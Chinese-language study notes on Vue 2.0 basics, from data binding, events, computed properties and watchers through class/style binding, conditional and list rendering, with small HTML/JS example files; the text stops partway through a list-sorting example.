Vue2.0

JavaScript(JS 教程) - JavaScript | MDN

Vue是构建用户界面的 JavaScript 框架

  1. 安装 — 2.0 Vue.js
  2. GitHub - vuejs/devtools: ⚙️ Browser devtools extension for debugging Vue.js applications.
  3. Installation | Vue Devtools
  4. VSCode插件:
    LiveServerhttp://127.0.0.1:5500/   部署整个服务
    Vue 3 Snippets
    Vetur
    设置自动保存afterDelay
  5. Download | Node.js
  6. Vue CLI
快捷键
shift+F5强制刷新
crtl+R刷新控制台
!+ Enter
Alt+shfit+A

shift+alt+F

格式化
<v + Enter
ctrl+shift+`终端
知识储备
ES6闭包
webpackajax
路由nodejs
移动端JQuery
axiosMDN 文档 
模块化语法commonJS
Promisebabel
操作DOM
express koacss less


01_初始Vue

el元素选择为哪个容器服务

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root" class="root">
        <h1>Hello,兔年2023</h1>
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root' //el用于指定当前Vue实例为哪个容器服务,值通常为css id选择器
            el:'.root' //el用于指定当前Vue实例为哪个容器服务,值通常为css class选择器
        })
    </script>
</body>
</html>

定义data属性,并使用插值表达式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        初始Vue:
        1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
        2.root容器里的代码符合html规范,但混入了Vue语法;
        3.root容器里的代码称为【Vue模板】
        4.Vue实例和容器是一一对应的
        5.真实开发只有一个Vue实例,并且配合着组件使用
        6.{{xxx}}中的xxx要写js表达式,且xxx可以读取data中的所欲属性
        7.一旦data中数据发生改变,那么模板中用到该数据的地方会自动更更新


        注意区分:js表达式 和 js代码(语句)
            1.表达式:一个表达式产生一个值,可以放在任何一个需要值的地方
                (1). undefined
                (2). a+b
                (3). demo(1)
                (4). x === y ? 'a':'b'
                (5). vm中的数据 _xxx $xxx xxx 
            2.js代码(语句)
                (1). if(){}
                (2). for(){}
     -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>Hello,{{name}}</h1>
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器
            data:{  //data用于存储数据,数据供给el指定的容器使用
                name:"兔年2023"
            }
        })
    </script>
</body>
</html>

02_Vue模板语法

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue模板语法2大类
            1.插值语法:
                功能:用于解析标签体内容,调用methods函数
                写法:{{xxx}} 、{{xxx()}}、{{xxx.underfunded}}
                来源:已存在的_data,未出现的computer计算属性,列表渲染的数组数组项,对象的underfunded属性(不会显示)
            2.指令语法:
                功能:用于解析标签(包含:标签属性、标签体内容、绑定事件....) 
                写法:v-bind:href="xxx" ,也使用js表达式
     -->


    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>Hello,{{name}}</h1>

        <!-- href将会发送get请求 -->
        <a v-bind:href="url">点我可以去学习</a> 
        <!-- 简写 -->
        <a :href="url">点我可以去学习</a> 
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器
            data:{  //data用于存储数据,数据供给el指定的容器使用
                name:'兔年2023',
                url:'baidu.com'.toUpperCase()
            }
        })
    </script>
</body>
</html>

默认的报错:


03_数据绑定

单向绑定

页面Input修改时只会变化容器体的内容

不关注标签体,关注标签属性

无法修改vue实例data的内容

v-bind:<elementName>=<"JS表达式">:<elementName>=<"JS表达式">
  • 如果有的data没有被使用,则修改vue,vue插件无法检测
双向模型

仅只支持 表单类元素(输入类元素),部分场景不可用

只关心Value,不关注KeyName

会修改vue实例data的内容

v-model:value=<"JS表达式">

v-model=<"JS表达式">

v-model.number 输入类型首次转number类型

v-model.lazy 失去焦点时收集输入内容

v-model.trim 收集输入内容时去除前后空格

样式绑定class不能多个,但是可以和:class配合,作为默认样式


class='basic基础样式1 style样式2'

:class="样式参数data"
单向绑定class样式 字符串写法:适用于样式类名不确定,
:class="样式参数dataArr数组"
用于数量和名字不确定

:style=”数组【styleobj1,styleobj2】“

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue有2中数据绑定方式:
            1.单向绑定(v-bind):数据只能从data流向页面
            2.双向绑定(v-model):数据不仅从data流向页面,还可以从页面流向data
                注意:
                    1.双向绑定一般应用在表单类元素上操作输入value值(如:input、select等)
                    2.因为设计是操纵value,所以简写v-model就是收集value标签属性值
     -->

    <div id="root">
        <h1>Hello,{{name}}</h1>

        单向数据绑定<input type="text" v-bind:value="name">
        单向数据绑定<input type="text" :value="name">

        双向数据绑定<input type="text" v-model:value="name">
        双向数据绑定<input type="text" v-model="name">

        <!-- 这是错误的:v-model设计仅支持表单类元素(输入类元素上) -->
        双向数据绑定<h1 v-model:value="name"></h1>
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root', 
            data:{ 
                name:'兔年2023',
            }
        })
    </script>
</body>
</html>

04_el与data的两种写法

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        data与el的2种写法
            1.el的2种写法
                (1)new Vue式配置el属性
                (2)先创建Vue实例,再通过vm.$mount('#root')指定el的值
            2.data的2种写法
                (1)对象式
                (2)函数式
        重要原则:
            由Vue管理的函数不能使用箭头函数,箭头函数this不再是Vue实例
            3.data中 return上可以打印log日志查看this    
     -->

    <div id="root">
        <h1>Hello,{{name}}</h1>
    </div>


    <script type="text/javascript">
        
       /*  // el两种写法
        const vm = new Vue({
            // el:'#root',  // 第一种: 直接为容器服务 
            data:{ 
                name:'兔年2023',
            }
        })

        
        setTimeout(() => { 
            vm.$mount('#root') //第二种: 间隔为容器服务
        }, 1000); */


        const vm = new Vue({
            el:'#root',
            // 第一种:对象式
            /* data:{ 
                name:'兔年2023',
            } */


            // 第二种: 函数式(必须返回对象,对象数据是模板需要的) 组件式必须使用
            data:function (params) {
                console.log("aaa",this);
                return{
                    name:'兔年2023',
                }
            }
        })

    </script>
</body>
</html>

05_MVVM模型


  <!-- 
       MVVM模型
            1.M: 模型(Model): data中的数据
            2.V:视图(View): 模板代码    
            3.VM: 视图模型(ViewModel):Vue实例
        观察发现
            1.data中的所有属性,最终出现在vm实例中
            2.vm实例上的所有属性 及 Vue原型所有属性,Vue模板可以直接使用
     -->

06_数据代理Object.defineProperty()

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

    <script type="text/javascript">
        let number = 18
        let person = {
            name:'张三',
            sex:'男'
        }

        // 可以对数据进行高级限制,属性映射
        Object.defineProperty(person,'age',{

            value:18 ,//value:number 不可用被枚举,不可用被修改,不可被删除

            /* 
            enumerable:true,  //控制属性 是否之后 枚举  :默认false
            writable:true,    //控制属性 是否之后 被修改:默认false
            configurable:true //控制属性 是否之后 被删除:默认false
            */

 
            // 当有人读取Person.age属性时,get函数(getter)被调用,且返回值就直接赋给age的值
            get(){
                return number
            },

            set(value){
                console.log('Person的age值已经被修改,值是', value);
                number = value; // 修改属性映射值
            }
        })
       
        console.log(Object.keys(person));

        console.log(person);
    </script>
</body>
</html>

一、收集数据

 二、数据代理

 vm.data(vm.xxx代理的) = vm._data(vm.option.data.xxx配置项中的)

vm.xxx(代理数据) === vm._data.xxx(源数据)

数据劫持:_data修改,导致页面更新,vm._data = optioins.data = data 触发Getter方法


07_事件处理

        1.事件的基本使用

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

        <!-- 
            1.v-on:xxx 或 @xxx 绑定事件,xxx是事件名
            2.事件的回调需要配置methods对象中,最总会被vm实例 或 组件实例 管理
            3.事件处理的参数$event:
                (1).默认不需要声明$event
                (2).如果要传递其他参数,需要声明$event
            4.data与methods的区别:data中的数据会被数据代理  
            5.绑定事件时候,可以不调用methods @xxx = yyy ,yyy是简单的函数可以用;分号分隔写多句
         -->


        <div id="root">
            <h1>Hello,{{name}}</h1>
            <button v-on:click="showInfo1">点我提示信息:一</button>  
            <button @click="showInfo2('arg1',$event)">点我提示信息:二</button> 
        </div>
    
</body>

    <script type="text/javascript">
        new Vue({
            el:'#root',
            data:{
                name:'2023兔年大吉'
            },
            methods: {
                // 传递事件对象:事件的目标 标签 和 标签体
                showInfo1(event){
                    console.log(event);
                    console.log(event.target.innerText);
                    alert('你好啊~')
                },
                showInfo2(arg1,event){
                    console.log(arg1);
                    console.log(event);
                    console.log(event.target.innerText);
                    alert('你好啊~')
                }
            },
        })
    </script>
</html>

        2.事件修饰符

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        *{
            margin-top: 20px;
        }
        .demo1{
            height: 50;
            background-color: skyblue;
        }
        .box1{
            padding: 5px;
            background-color:orange;
        }
        .box2{
            padding: 5px;
            background-color:greenyellow;
        }
        .list{
            height: 200px;
            width:  200px;
            background-color: aquamarine;
            overflow: auto;
        }
        li{
            height: 100px;
            background-color: rgb(255, 0, 123);
        }
    </style>
</head>
<body>
        <!-- 
            Vue中事件修饰符:
                1.prevent:阻止默认事件(阻止标签特性功能)
                2.stop: 阻止事件冒泡
                3.once: 事件回调只触发一次
                4.capture: 事件捕捉模式
                5.self: 只有event.taget触发者是当前操作元素才触发事件,其他元素无法触发
                6.passive: 事件默认行为立即执行,无需等待回调代码块执行完毕
            时间修饰符可以连续写    
         -->
        <div id="root">
            <h1>Hello,{{name}}</h1>
            <a href="http://baidu.com" @click.once.prevent="showInfo">点我提示信息</a>
            <!-- 事件会冒泡处理 -->
            <div class="demo1" @click.self="showInfo">
                <button @click="showInfo">点我提示信息</button>
            </div>

            <!-- 
                事件捕获:用外往内捕获事件  
                事件冒泡:已被捕获开始由内往外触发,但event是触发者,冒泡传递时不会变。
            -->
            <div class="box1" @click.capture="showMsg(1)">
                box1
                <div class="box2" @click="showMsg(2)">box2</div>
            </div>
            <!-- 鼠标滚轮 和 鼠标左键 和 ↑↓键 都会触发,栏内移动就可以触发,无法再底栏触发-->
            <ul class="list" @scroll="demo">
                <li>1</li>
                <li>2</li>
                <li>3</li>
                <li>4</li>
            </ul>

             <!-- 鼠标滚轮 触发 ,底栏还可以触发-->
            <ul class="list" @wheel="demo">
                <li>1</li>
                <li>2</li>
                <li>3</li>
                <li>4</li>
            </ul>

             <!-- 默认:先执行回调函数,再执行默认行为。使用passive默认行为立即执行-->
             <ul class="list" @wheel.passive="demo2">
                <li>1</li>
                <li>2</li>
                <li>3</li>
                <li>4</li>
            </ul>
        </div>
    
</body>

    <script type="text/javascript">
        new Vue({
            el:'#root',
            data:{
                name:'2023兔年大吉'
            },
            methods: {
                showInfo(event){
                    alert('弹窗完可能会跳转页面')
                },
                showMsg(num){
                    console.log(num);
                },
                demo(){
                    console.log('@');
                },
                demo2(){
                   for (let index = 0; index < 100000; index++) {
                       console.log(index);
                   }
                   console.log('整完了');
                }
            },
        })
    </script>
</html>
事件冒泡触发的事件的节点,没有处理事件的能力,并【事件函数】没有绑定在【对应事件源】,导致事件传播:规则是由里往外,绑定事件的节点都将被动触发
【div标签】中嵌套其他标签 和 内部div标签 触发 外部其他组件的 标签
冒泡,总是触发的 事件源

    3.键盘事件 

Windows实时显示键盘输入用这个小工具可以实现 

keycastow-v2.0.2.5-cn

Keyviz

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        
    </style>
</head>
<body>

        <!-- 
            1.键盘事件@keyup @keydown
            2.@keyup.xxx 键盘别名
                回车 enter
                删除 delete
                退出 esc
                空格 space
                换行 tab (特殊:必须配合keydown按下触发,且会把光标柱隐形转移走)
                上 up
                下 down
                左 left
                右 right
            
            3.系统修饰键(特殊)ctrl alt shift meta(windos徽标键 苹果common键盘)   
                (1)配合keyup 按下修时键后,再按下其他键,然后释放其他键,事件才被触发
                (2)配合keydown正常触发

            4.keyCode可以指定具体按键
            5.定制别名:Vue.config.keyCode.自定义键 = 键码,
            
            6.别名组合键:@keyup.enter.x
        -->


       <div id="root">
           <input type="text" placeholder="按下按键提示输入" @keydown="shouInfo1">
           <input type="text" placeholder="按下按键提示输入" @keyup.enter="shouInfo2">
       </div>
    
</body>

    <script type="text/javascript">
        new Vue({
            el:'#root',
            data:{
                name:'2023兔年大吉'
            },
            methods: {
                shouInfo1(e){
                  if (e.keycode === 13) {
                        
                  } 
                },
                shouInfo2(e){
                  alert('噔噔deng!')
                }
            },   
        })
    </script>
</html>

08_计算属性

联动效果(配合v-model双向绑定)

methods

  1. 插值表达式{{xxxMethods()}}函数使用括号
  2. 无缓存插值将多次调用
  3. 不使用事件回调,直接调用调用需要用括号()
  4. 首次自调用:使用插值语法,如果触发data改变指数重复调用
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        
    </style>
</head>
<body>
       <div id="root">
           姓:<input type="text" v-model="firstName">
           名:<input type="text" v-model="lastName">
           
           全名:<span>{{fullname()}}</span>
       </div>
    
</body>

    <script type="text/javascript">
        new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三'
            },
            methods: {
                fullname(e){
                  return this.firstName + '-' + this.lastName
                }
            },   
        })
    </script>
</html>

computed

计算属性

(预期插入的值:
如何获取该值

  1. 插值表达式{{xxxComputed}}无需括号
  2. 有缓存
  3. 无法延迟,对data重新计算,需要直接返回计算值
  4. 依赖set和get
  5. Vue插件检测
  6. 默认初次触发
  7. 如果触发data改变指数重复调用
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        
    </style>
</head>
<body>
    <!-- 
        1.定义: 要模板展示的数据依赖已有属性计算得来
        2.原理: 借助Object.defineproperty方法提供的getter和setter
        3.get函数什么时候被调用:
            1.初次读取时 
            2.所依赖的_data数据发生变化     
        4.优势:有缓存复用,效率更高,调试方便
        5.补充
            1.计算属性最终会显示vm上,可以读取使用
            2.如果计算属性要被修改, 一定要set函数去修改依赖的_data源数据
        6.简写:只读不改(不需要set函数才可以简写)    
     -->


       <div id="root">
           姓:<input type="text" v-model="firstName">
           名:<input type="text" v-model="lastName">
           
           全名:<span>{{fullname}}</span>

           <p></p>
           <!-- 以下会使用计算属性-缓存 -->
           全名:<span>{{fullname}}</span>
           全名:<span>{{fullname}}</span>
           全名:<span>{{fullname}}</span>
           全名:<span>{{fullname}}</span>
       </div>
    
</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三'
            },
            methods: {
                
            },  
            // 计算属性不属于 属性vm._data 和 代理属性vm.xxx
            computed: {
                /* 
                fullname:{
                    // get的作用:当需要读取fullName是,get调用返回值作为fullName的值

                    get(){
                        console.log('get被调用了');
                        return this.firstName + '-' + this.lastName
                    },
                    set(value){
                        const arr = value.split('-')
                        this.firstName = arr[0]
                        this.lastName = arr[1]
                    }

                } 
                */
                fullname(){
                    return this.firstName + '-' + this.lastName
                }
            }, 
        })
    </script>
</html>

watch

监视侦听

(已存在的值:
该值发生变化该做什么

  1. Timeout存储计时器,实现延迟异步效果。(定时器由JS浏览器引擎调用)        特殊:使用箭头函数

  2. 深度监视deep:true

  3. 四种写法(完整写法+简写):初始化时(两种)创建后(两种)

  4. 命令式且重复的

  5. 通过检测项:初次触发

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        
    </style>
</head>
<body>
    <div id="root">
        姓:<input type="text" v-model="firstName">
        名:<input type="text" v-model="lastName">
        
        全名:<span>{{fullname}}</span>
    </div>
</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三',
                fullname:'张-三'
            },
            methods: {
              
            },
            computed: {
              
            },
            watch: {
                firstName(val){
                    setTimeout(() => {
                        this.fullname=val+this.lastName
                    }, 1000);
                },
                lastName(){
                    this.fullname=this.firstName+this.lastName
                }
            },
        })
    </script>
</html>

所有被Vue管理的函数,this是vm 或 组件实例对象,写普通函数

所有不被Vue管理的函数(timeOut定时器回调函数,ajax回调函数.Promise回调函数),用箭头函数

09_监控属性

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        
    </style>
</head>
<body>
   <!-- 
       属性监视watch:
            1.当被监视属性vm._data变化时,回调函数自动调用,并进行相关操作
            2.监视的属性必须存在
            3.监视的两种写法:
                (1).new Vue时传入watch配置
                (2).通过vm.$watch监视
            4.不需要"监测项"时可以简写   
            5.监控项 immediate:true 首次主动监听触发

        深度监视(vm_data.xxx.yyy.zzz 细粒度)
            vue会深度检测到变化,但watch深度属性改变不会被检测到.除非xxx被重新赋值则视为改变

    -->
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWeather">点我修改天气</button>

        <button @click="number.a++">点我修改a自增1</button>
        <h1>{{number.a}}</h1>
        <h1>{{number.b}}</h1>

        <button @click="number= {a:111 }">点我修改number</button>
       
    </div>
</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                isHost: false,
                number:{
                    a:1,
                    b:2
                } 
            },
            methods: {
                changeWeather(){
                    this.isHost = !this.isHost
                }
            },
            computed: {
                info(){
                    return this.isHost ? '炎热' :'寒冷'
                }
            },
            /* watch: {
                isHost:{
                    // 初始化时让Handler调用一下
                    immediate:true,
                    // handler调用实际,当_data数据被修改时触发
                    handler(newValue,oldValue){
                       console.log('isHost被修改了',newValue+ '<-' +oldValue);
                    }
                }
            }, */
            watch: {
                /* number:{
                    // 初始化时让Handler调用一下
                    immediate:true,
                    deep:true,
                    // handler调用实际,当_data数据被修改时触发
                    handler(newValue,oldValue){
                       console.log('number被修改了',newValue+ '<-' +oldValue);
                    }
                },
                "number.a":{
                    // 初始化时让Handler调用一下
                    immediate:true,
                    // handler调用实际,当_data数据被修改时触发
                    handler(newValue,oldValue){
                       console.log('number.a被修改了',newValue+ '<-' +oldValue);
                    }
                } */

                // 简写:
                number(newValue,oldValue){
                       console.log('number被修改了',newValue+ '<-' +oldValue);
                }
            },
        })

        // 创建完实例后进行监视写法
        /* vm.$watch('isHost',{
            handler(newValue,oldValue){
                       console.log('isHost被修改了',newValue+ '<-' +oldValue);
                    }
        }) */
        vm.$watch('isHost',function (newValue,oldValue) {
            console.log('isHost被修改了',newValue+ '<-' +oldValue);
        })
    </script>
</html>

10_绑定样式 

容器可以设置多个绑定器(一对多)

        1.绑定class样式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        .basic{
            background-color: aqua;
        }
        .normal{
            height: 200px;
            width: 200px;
        }
        .happy1{
            background-color: rgb(183, 16, 16);
            height: 400px;
            width: 400px;
        }
        .happy2{
            background-color: yellow;
            height: 400px;
            width: 400px;
        }
        .happy3{
            background-color: green;
            height: 400px;
            width: 400px;
        }
    </style>
</head>
<body>
    <div id="root">
       

        <!-- 字符串写法:样式的类名动态决定 -->
       <div class="basic" :class="mood" @click="changeMood">
            这个盒子点击会修改样式
       </div>

       <!-- 数组写法(一) 样式个数不确定,类名不确定,通过数组函数shift操作-->
       <div class="basic" :class="classArr" @click="changeMood">
            这个盒子点击会修改样式
        </div>
        <!-- 数组写法(二) -->
        <div class="basic" :class="['happy1','happy2','happy3']" @click="changeMood">
            这个盒子点击会修改样式
        </div>


        <!-- 对象写法: 样式确定,类名确定,组合动态决定:通过Vue工具操作-->
        <div class="basic" :class="classObj" @click="changeMood">
            这个盒子点击会修改样式
        </div>
        <!-- 对象写法-->
        <div class="basic" :class="{ happy1:false,happy2:false}" @click="changeMood">
            这个盒子点击会修改样式
        </div>
    </div>
</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                mood:'normal',
                classArr:['happy1','happy2','happy3'],
                classObj:{
                    happy1:false,
                    happy2:false,
                    happy3:false,
                }
            },
            methods: {
                changeMood(){ 
                    const arr = ['happy1','happy2','happy3']
                    const index = Math.floor(Math.random()*3)
                    this.mood = arr [index]
                }
            }
        })
    </script>
</html>

        2.Style内联样式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        .basic{
            background-color: aqua;
        }
        .normal{
            height: 200px;
            width: 200px;
        }
        .happy1{
            background-color: rgb(183, 16, 16);
            height: 400px;
            width: 400px;
        }
        .happy2{
            background-color: yellow;
            height: 400px;
            width: 400px;
        }
        .happy3{
            background-color: green;
            height: 400px;
            width: 400px;
        }
    </style>
</head>
<body>
    <div id="root">
       

        <!-- 字符串写法:样式的类名动态决定 -->
       <div class="basic" :style="{fontSize: fsize+'px'}">
            这个盒子点击会修改样式
       </div>

       <!-- 对象写法 -->
       <div class="basic" :style="styleObj1">
             这个盒子点击会修改样式
        </div>

        <!-- 数组写法 -->
        <div class="basic" :style="[styleObj1,styleObj2]">
            这个盒子点击会修改样式
       </div>
    </div>
</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                fsize:40,
                styleObj1:{
                    fontSzie:'40px',
                    color:'red',          
                },
                styleObj2:{          
                    backgroundColor:'blue'
                }
            }
        })
    </script>
</html>


11_条件渲染


不能配合Template标签使用
v-show

隐藏结构存在,操作display,可以通过event拿到结构元素

修改频率高
一组使用
v-if

false时无法通过event获取结构

v-else-if如果前面的v-if成立,则这里略过
v-else如果前面条件都不成立,则else成立

可以配合Template标签使用:

此标签将【一些结点】临时当作【一个结点】判断是否显示

判断是根据boolean值
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      
    </style>
</head>
<body>
    <div id="root">
        
        <button @click="isShow=!isShow">点我隐藏文字</button>
        <h1 v-show="isShow">条件渲染</h1>

        <button @click="n++">点我会按条件展示盒子</button>
        <button @click="n--">点我会按条件展示盒子</button>

        <!-- 一组使用 -->
        <div v-if="n === 1">1</div> 
        <div v-else-if="n === 2">2</div> 
        <div v-else>3</div>
    </div>
</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                isShow:false,
                n:1
            }
        })
    </script>
</html>


12_列表渲染 

        1.列表展示

遍历对象数组

v-for='数据p in或者of  数据池' :key='p.id或index' 对象可能有相同的,但是最好有Id
{{形参p或形参p.属性}}

v-for='(数据p,索引index) in或者of 数据池'

注意:列表渲染关注数组的key,必须指定标识,标识是对象的唯一标识,不要使用index

实际开发:id由服务器进行维护

key用于递步算法

遍历对象v-for='value,key.... in或者of  对象'
注意:key与value顺序不同
遍历字符串v-for='(字符,索引)' in或者of  字符串'
遍历指定次数v-for='(数值,索引)' in或者of  数字'
数值从1开始
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      
    </style>
</head>
<body>
    <!-- 
        列表渲染:
            1.遍历时的两个参数
                (1)数组:(对象,index)
                (2)对象:(value,key)
                (3)字符串:(char,charIndex)
                (4)指定次数:(1开始数值,数值索引)
            2.关键词 in 或 of
     -->

    <div id="root">
        <!-- 遍历数组 -->
        <h1>人员列表</h1>
        <ul>
            <li v-for="p in persons" :key="p.id">
                {{p.name}} - {{p.age}}
            </li>
        </ul>
        <ul>
            <li v-for="(p,index) of persons" :key="p.id">
                {{p.name}} - {{p.age}} - {{index}}
            </li>
        </ul>


        <!-- 遍历对象 -->
        <ul>
            <li v-for="(item, index) in car">
                {{item}} - {{index}}
            </li>
        </ul>


        <!-- 遍历字符串 -->
        <ul>
            <li v-for="(item, index) in str" :key="index">
                {{item}} - {{index}}
            </li>
        </ul>

        <!-- 遍历指定次数 -->
        <ul>
            <li v-for="(item, index) in 5" :key="index">
                {{item}} - {{index}}
            </li>
        </ul>
    </div>

</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
               persons:[
                   {id:'001',name:'张三',age:'18'},
                   {id:'002',name:'李四',age:'19'},
                   {id:'003',name:'王五',age:'28'},
               ],
               car:{
                    name:'奥迪A8',
                    price:'70万',
                    color:'银色'
               },
               str:'helloWorld'
        
            }
        })
    </script>
</html>

错乱:渲染时虚拟Dom对比已存在Id将复用,Index不指定造成错乱,需要唯一标识符
diff算法

面试题:react、vue中的key有声明作用?

         key的内部原理:

         1.虚拟Dom中Key的作用:

                key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】

                随后Vue进行【新的虚拟DOM】与【旧的虚拟DOM】差异比对,比对规则如下:

         2.比对规则  

                (1)【旧的虚拟DOM】中内容找到与【新的虚拟DOM】相同的key

                        对比内容没有变化,直接使用【旧的真实DOM】

                        对比内容变化,创建【新的真实DOM】,替换【旧的虚拟DOM】

                   

                (2)【旧的虚拟DOM】中内容没有找到与【新的虚拟DOM】相同的key

                        创建【新的真实DOM】,随后渲染到页面

         3.用index作为key可能引发的问题:

                (1)若对数据进行:逆序添加、逆序删除等破坏顺序操作:

                        会产生没有必要的【旧的真实DOM】更新 = > 效果没有问题,但无法diff算法复用效率低

                (2)结构中包含输入类DOM

                        产生错误DOM更新 = > 界面有问题

                       

         4.如何选择key?

                (1) 每条数据使用唯一标识符,id、手机号、身份证号码、学号

                (2) 如果不存在破坏顺序操作,仅用于渲染展示,使用index作为key没有问题  

        2.列表过滤 

watch
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      
    </style>
</head>
<body>
    <div id="root">
        <!-- 遍历数组 -->
        <h1>人员列表</h1>
        <input type="text" v-model="keyWord" >
        <ul>
            <li v-for="fp in filePersons" :key="fp.id">
                {{fp.name}} - {{fp.age}}   <input type="text">
            </li>
        </ul>
    </div>

</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
               persons:[
                   {id:'001',name:'张三',age:'18'},
                   {id:'002',name:'李四',age:'19'},
                   {id:'003',name:'王五',age:'28'},
               ],
               filePersons:[

               ],
               keyWord:''
            },
            watch: {
                keyWord:{
                    immediate:true,
                    handler(val){
                        this.filePersons = this.persons.filter((p)=>{
                            return p.name.indexOf(val) !== -1
                        })
                    }
                },
            },  
        })
    </script>
</html>

computer
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      
    </style>
</head>
<body>
    <div id="root">
        <!-- 遍历数组 -->
        <h1>人员列表</h1>
        <input type="text" v-model="keyWord" >
        <ul>
            <li v-for="fp in filePersons" :key="fp.id">
                {{fp.name}} - {{fp.age}}   <input type="text">
            </li>
        </ul>
    </div>

</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
               persons:[
                   {id:'001',name:'张三',age:'18'},
                   {id:'002',name:'李四',age:'19'},
                   {id:'003',name:'王五',age:'28'},
               ],
               keyWord:''
            },
            computed: {
                filePersons(){
                    return this.persons.filter((p)=>{
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                }
            }, 
        })
    </script>
</html>

         3.列表排序

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      
    </style>
</head>
<body>
    <div id="root">
        <!-- 遍历数组 -->
        <h1>人员列表</h1>
        <input type="text" v-model="keyWord" >

        <button @click="sortType=0">正序</button>
        <button @click="sortType=1">降序</button>
        <button @click="sortType=2">原顺序</button>
        <ul>
            <li v-for="fp in filePersons" :key="fp.id">
                {{fp.name}} - {{fp.age}}   <input type="text">
            </li>
        </ul>
    </div>

</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
               persons:[
                   {id:'001',name:'张三',age:'20'},
                   {id:'002',name:'李四',age:'19'},
                   {id:'003',name:'王五',age:'28'},
               ],
               keyWord:'',
               sortType:2
            },
            computed: {
                filePersons(){
